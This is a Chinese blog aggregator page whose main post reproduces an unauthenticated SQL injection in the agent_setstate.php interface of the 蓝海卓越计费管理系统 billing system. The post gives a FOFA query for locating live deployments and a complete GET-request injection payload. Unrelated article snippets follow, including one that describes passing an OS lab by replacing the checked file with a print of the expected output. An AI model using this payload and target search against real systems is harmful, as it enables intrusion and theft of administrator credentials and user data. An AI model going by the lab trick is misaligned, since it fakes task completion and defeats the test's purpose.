当前位置： 首页 > news >正文

蓝海卓越计费管理系统 agent_setstate.php SQL注入漏洞复现

news 2025/6/10 12:33:33

0x01 产品简介

蓝海卓越计费管理系统是一套以实现网络运营为基础，增强全局安全为中心，提高管理效率为目的的网络安全运营管理系统，提供“高安全、可运营、易管理”的运营管理体验，基于标准的RADIUS协议开发，它不仅支持PPPOE和WEB认证计费，还支持802.1X接入控制技术，与其他厂商支持相应标准的产品兼容，结合蓝海卓越的PPPOE服务器网关，可提供更加丰富的功能。，另外，友好的Web访问管理的方式，为用户提供更好用、易用的方式，更贴心的使用形式。

0x02 漏洞概述

蓝海卓越计费管理系统 agent_setstate.php 接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

0x03 复现环境

FOFA：title=="蓝海卓越计费管理系统"

0x04 漏洞复现

PoC

GET /agent_setstate.php?id=(SELECT%202*(IF((SELECT%20*%20FROM%20(SELECT%20CONCAT(0x717a767071,(SELECT%20(ELT(6154=6154,1))),0x7170716a71,0x78))s),%208446744073709551610,%208446744073709551610))) HTTP/1.1
Host: your

相关文章：

蓝海卓越计费管理系统 agent_setstate.php SQL注入漏洞复现

0x01 产品简介 蓝海卓越计费管理系统是一套以实现网络运营为基础，增强全局安全为中心，提高管理效率为目的的网络安全运营管理系统，提供“高安全、可运营、易管理”的运营管理体验，基于标准的RADIUS协议开发，它不仅支持PPPOE和WEB认证计费，还支持802.1X接入控制技术，与其…...

编程日记 2024/5/28 13:26:28

【leetcode2765--最长交替子数组】

要求：给定一个数组，找出符合【x, x1,x,x-1】这样循环的最大交替数组长度。 思路：用两层while循环，第一个while用来找到符合这个循环的开头位置，第二个用来找到该循环的结束位置，并比较一下max进行记录。 …...

编程日记 2024/5/28 13:25:26

java文档管理系统的设计与实现源码(springboot+vue+mysql)

风定落花生，歌声逐流水，大家好我是风歌，混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的文档管理系统的设计与实现。项目源码以及部署相关请联系风歌，文末附上联系信息 。 项目简介： 文档管理系统的…...

编程日记 2024/5/28 13:22:24

西安航空学院电子工程学院领导莅临泰迪智能科技参观交流

5月26日，西安航空学院电子工程学院院长杨亚萍、专业教师刘坤莅临广东泰迪智能科技股份有限公司产教融合实训基地参观交流。泰迪智能科技董事长张良均、副总经理施兴、产品中心负责周东平、校企合作经理吴桂锋与泰迪智能科技韩伟进行热情了接待。双方就专业建设、协同…...

编程日记 2024/5/28 13:20:22

C++｜设计模式（二）｜简单工厂和工厂方法模式

本文探讨两种广泛使用的创建型模式——简单工厂模式和工厂方法模式，解释他们的实现细节、优势以及应用场景。 在下一篇文章中，我会补充抽象工厂模式，其实工厂模式主要就是为了封装对象的创建过程，如果我们不进行封装，…...

编程日记 2024/5/28 13:19:21

C语言从头学12——流程控制（一）

C语言程序的执行顺序是从前到后依次序执行的。如果想要控制程序执行的流程，就必须使用 流程控制的语法结构，分为条件执行和循环执行。 1、if语句 if 语句在前面的举例中曾经出现过，这里做详细介绍。该语句用于条件判断，满…...

编程日记 2024/5/28 13:18:20

10大领域应该怎么记？

文章目录 5大过程组10大领域49个过程输出输入工具与技术 参考文档： https://mp.weixin.qq.com/s/BJ-Dpn0zxTP0TCbeoJXb9A 5大过程组 启动、规划、执行、监控、收尾 10大领域 巧记：【挣饭进城市，咨购风菜干】【狗子整范进—成人风采】 整…...

编程日记 2024/5/28 13:17:19

通过Ubuntu虚拟机+Linux移植LVGL并通过linux Frame buffer显示

文章参考：https://gitee.com/socbis/linux-lvgl lvgl on linux Frame buffer 主机环境: Ubuntu 18.04lvgl 8.0.1 获取源码并运行demo 获取源码 需要3样东西来构建demo : lvgl核心控件库: 从此处获取源码 lvgl，选择版本 Release v8.0.1. 显示和触摸接…...

编程日记 2024/5/28 13:16:17

M功能-支付平台(三)

target：离开柬埔寨倒计时-221day 前言 今天周六，但是在柬埔寨还是工作日，想着国内的朋友开始休周末就羡慕呀，记不清在这边过了多少个周六了，多到我已经习惯了。而且今天技术部还停电了，真的是热的受不了呀…...

编程日记 2024/5/28 13:15:16

5G工厂长啥样

5G工厂是一种新型的工业互联网基础设施，利用5G为代表的新一代信息通信技术集成，打造新型工业互联网基础设施。在5G工厂中，自动化和智能化设备广泛使用，高度互联的工厂网络得以实现，远程监控和管理成为可能，…...

编程日记 2024/5/28 13:14:15

使用Python操作Jenkins

大家好，Python作为一种简洁、灵活且功能丰富的编程语言，可以与各种API轻松集成，Jenkins的API也不例外。借助于Python中的python-jenkins模块，我们可以轻松地编写脚本来连接到Jenkins服务器，并执行各种操作，…...

编程日记 2024/5/28 13:13:14

网络协议测试仪设计方案：474-便携式手提万兆网络协议测试仪

便携式手提万兆网络协议测试仪 一、平台简介 便携式手提万兆网络协议测试仪，以FPGA万兆卡和X86主板为基础，构建便携式的手提设备。 FPGA万兆卡是以Kintex-7XC7K325T PCIeX4的双路万兆光纤网络卡，支持万兆网络数据的收发和网络协议…...

编程日记 2024/5/28 13:12:13

使用numpy手写一个神经网络

本文主要包含以下内容： 推导神经网络的误差反向传播过程使用numpy编写简单的神经网络，并使用iris数据集和california_housing数据集分别进行分类和回归任务，最终将训练过程可视化。 1. BP算法的推导过程 1.1 导入 前向传播和反向传播的总体…...

编程日记 2024/5/28 13:11:12

使用Spring AOP实现接口参数变更前后对比和日志记录

推荐一个程序员的常用工具网站，效率加倍，嘎嘎好用：程序员常用工具云服务器限时免费领：轻量服务器2核4G腾讯云：2核2G4M云服务器新老同享99元/年，续费同价阿里云：2核2G3M的ECS服务器只需99元/年，续费同价记录接口调用前后的参数变化是一个常见的需求，这不仅有助于调试和…...

编程日记 2024/5/28 13:10:10

免费无限换脸，火了，图片/视频/直播都行！

最强换脸AI工具Facefusion软件在近期更新到了2.6.0版本，带来了一系列的更新和改进，今天为大家分享一下最新的整合包。 Facefusion2.6.0版本介绍 FaceFusion不仅仅是一款换脸软件，它更是一个多功能的数字人和实时直播助手，真正开启…...

编程日记 2024/5/28 13:08:08

无线领夹麦克风哪个品牌好？本期文章揭秘无线麦克风哪个品牌好用

​在当下这个全民皆为媒体的时代大潮中，视频分享已然成为了引领风尚的指向标。在自媒体领域竞争愈发激烈的态势下，若要在这片广阔海洋中扬帆远航，优秀的作品毫无疑问是吸引观众的关键所在。而想要塑造出这样的卓越之作，除了需要创…...

编程日记 2024/5/28 13:07:07

操作系统实验--终极逃课方法

找到图片里的这个路径下的文件 ，结合当前题目名称，把文件内容全部删除，改为print print的内容为下图左下角的预期输出的内容...

编程日记 2024/5/28 13:06:06

C语言实现正弦信号扫频

C语言实现正弦信号扫频 包含必要的头文件：首先，你需要包含 <stdio.h> 和 <math.h> 头文件，分别用于输入输出和数学函数的使用。 定义扫频参数：定义正弦扫频的参数，例如起始频率、结束频率、扫频时间等。 生成正弦波信号：使用正弦函数生成扫频信号，可以根…...

编程日记 2024/5/28 13:03:03

实用篇| huggingface网络不通

之前文章《Transformer原理》中介绍过,Transformers 是由 Hugging Face 开发的一个包&#xff0c;支持加载目前绝大部分的预训练模型。随着 BERT、GPT 等大规模语言模型的兴起&#xff0c;越来越多的公司和研究者采用 Transformers 库来构建应用。 Hugging Face是一家美国公司…...

编程日记 2024/5/28 13:02:02

NLP与训练模型-GPT-3：探索人工智能语言生成的新纪元

在人工智能领域&#xff0c;自然语言处理&#xff08;NLP&#xff09;一直是备受关注的研究方向之一。随着深度学习技术的发展&#xff0c;尤其是Transformer模型的出现&#xff0c;NLP领域取得了巨大的进步。其中&#xff0c;由OpenAI推出的GPT-3模型更是引起了广泛的关注和热…...

编程日记 2024/5/28 13:01:01

二叉树-144.二叉树的前序遍历-力扣(LeetCode)

一、题目解析 对于递归方法的前序遍历十分简单&#xff0c;但对于一位合格的程序猿而言&#xff0c;需要掌握将递归转化为非递归的能力&#xff0c;毕竟递归调用的时候会调用大量的栈帧&#xff0c;存在栈溢出风险。 二、算法原理 递归调用本质是系统建立栈帧&#xff0c;而非…...

编程新知 2025/6/10 11:39:21

Ansible+Zabbix-agent2快速实现对多主机监控

ansible Ansible 是一款开源的自动化工具&#xff0c;用于配置管理&#xff08;Configuration Management&#xff09;、应用部署&#xff08;Application Deployment&#xff09;、任务自动化&#xff08;Task Automation&#xff09;和编排&#xff08;Orchestration&#xf…...

编程新知 2025/6/10 5:55:41

RocketMQ 客户端负载均衡机制详解及最佳实践

延伸阅读&#xff1a;&#x1f50d;「RocketMQ 中文社区」 持续更新源码解析/最佳实践&#xff0c;提供 RocketMQ 专家 AI 答疑服务 前言 本文介绍 RocketMQ 负载均衡机制&#xff0c;主要涉及负载均衡发生的时机、客户端负载均衡对消费的影响&#xff08;消息堆积/消费毛刺等…...

编程新知 2025/6/10 5:42:17

FTPS、HTTPS、SMTPS以及WebSockets over TLS的概念及其应用场景

一、什么是FTPS&#xff1f; FTPS&#xff0c;英文全称File Transfer Protocol with support for Transport Layer Security (SSL/TLS)&#xff0c;安全文件传输协议&#xff0c;是一种对常用的文件传输协议(FTP)添加传输层安全(TLS)和安全套接层(SSL)加密协议支持的扩展协议。…...

编程新知 2025/6/10 4:29:25

Pycharm的终端无法使用Anaconda命令行问题详细解决教程

很多初学者在Windows系统上安装了Anaconda后&#xff0c;在PyCharm终端中运行Conda命令时&#xff0c;会遇到以下错误&#xff1a; conda : 无法将“conda”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。 请检查名称的拼写&#xff0c;如果包括路径&#xff0c;请确保…...

编程新知 2025/6/10 1:05:08

豆瓣图书评论数据分析与可视化

【题目描述】豆瓣图书评论数据爬取。以《平凡的世界》、《都挺好》等为分析对象&#xff0c;编写程序爬取豆瓣读书上针对该图书的短评信息&#xff0c;要求&#xff1a; &#xff08;1&#xff09;对前3页短评信息进行跨页连续爬取&#xff1b; &#xff08;2&#xff09;爬取…...

编程新知 2025/6/9 21:15:35

【RTSP从零实践】1、根据RTSP协议实现一个RTSP服务

&#x1f601;博客主页&#x1f601;&#xff1a;&#x1f680;https://blog.csdn.net/wkd_007&#x1f680; &#x1f911;博客内容&#x1f911;&#xff1a;&#x1f36d;嵌入式开发、Linux、C语言、C、数据结构、音视频&#x1f36d; &#x1f923;本文内容&#x1f923;&a…...

编程新知 2025/6/9 18:23:46

174页PPT家居制造业集团战略规划和运营管控规划方案

甲方集团需要制定一个清晰的集团价值定位&#xff0c;从“指引多元”、“塑造 能力”以及“强化协同”等方面引领甲方做大做强 集团需要通过管控模式、组织架构及职能、授权界面、关键流程、战略 实施和组织演进路径&#xff0c;平衡风险控制和迅速发展&#xff0c;保证战略落地…...

编程新知 2025/6/9 18:10:09

【Linux】进程的基本概念

目录 概念描述进程-PCB如何查看进程通过系统目录进行查看通过ps指令进行查看 通过系统调用获取进程的PID和PPID(进程标⽰符)通过系统调用创建子进程通过一段代码来介绍fork为什么要有子进程&#xff1f;fork为什么给子进程返回0&#xff0c;给父进程返回子进程的PIDfork函数到底…...

编程新知 2025/6/9 17:57:44

AI+预测3D新模型百十个定位预测+胆码预测+去和尾2025年6月8日第102弹

从今天开始&#xff0c;咱们还是暂时基于旧的模型进行预测&#xff0c;好了&#xff0c;废话不多说&#xff0c;按照老办法&#xff0c;重点8-9码定位&#xff0c;配合三胆下1或下2&#xff0c;杀1-2个和尾&#xff0c;再杀4-5个和值&#xff0c;可以做到100-300注左右。 (1)定…...

编程新知 2025/6/9 16:21:50